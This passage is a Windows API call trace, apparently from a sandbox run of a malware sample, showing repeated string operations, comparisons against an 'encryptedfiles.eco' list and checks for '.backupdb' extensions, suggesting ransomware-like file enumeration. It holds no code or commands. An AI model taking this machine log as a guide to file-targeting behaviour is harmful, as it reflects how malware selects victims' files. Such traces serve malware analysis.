pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.776] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.777] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.778] GetFullPathNameA (in: lpFileName="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpFilePart=0x18e708*="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp") returned 0x8d [0120.778] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.778] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.778] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.778] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpUsedDefaultChar=0x0) returned 76 [0120.778] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x18e708*="auxpad.xml") returned 0x4b [0120.778] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.778] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 0 [0120.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0120.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0120.779] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7f0) [0120.779] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpUsedDefaultChar=0x0) returned 104 [0120.779] GetFullPathNameA (in: lpFileName="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpFilePart=0x18e6e4*="dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp") returned 0x8d [0120.779] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dGwWvBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x57774764, cFileName="vBwMxEcydtsoTXlHGtMxEOuKhri1tqreXWwDEwQcGTxBxSWKH7TKQifj5Jvt SQOua-L8te WFyoI2ro64rwQNCoCw6VDEL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0120.780] GetLastError () returned 0x2 [0120.780] GetLastError () returned 0x2 [0120.780] SetLastError (dwErrCode=0x2) [0120.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0120.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0120.780] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0120.780] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.780] lstrcpynW (in: lpString1=0x146ad84, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypad.xml_b95337c9", iMaxLength=120 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypad.xml_b95337c9") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_keypad.xml_b95337c9" [0120.780] GetLastError () returned 0x0 [0120.781] VarBstrCmp (bstrLeft="_b95337c9", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.781] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.782] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.783] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.784] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.785] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.786] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] lstrcpynW (in: lpString1=0x142fffc, lpString2="keypad.xmlĨ", iMaxLength=11 | out: lpString1="keypad.xml") returned="keypad.xml" [0120.787] GetLastError () returned 0x0 [0120.787] VarBstrCmp (bstrLeft="eypad.xml", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.787] VarCmp (pvarLeft=0x18eae4, 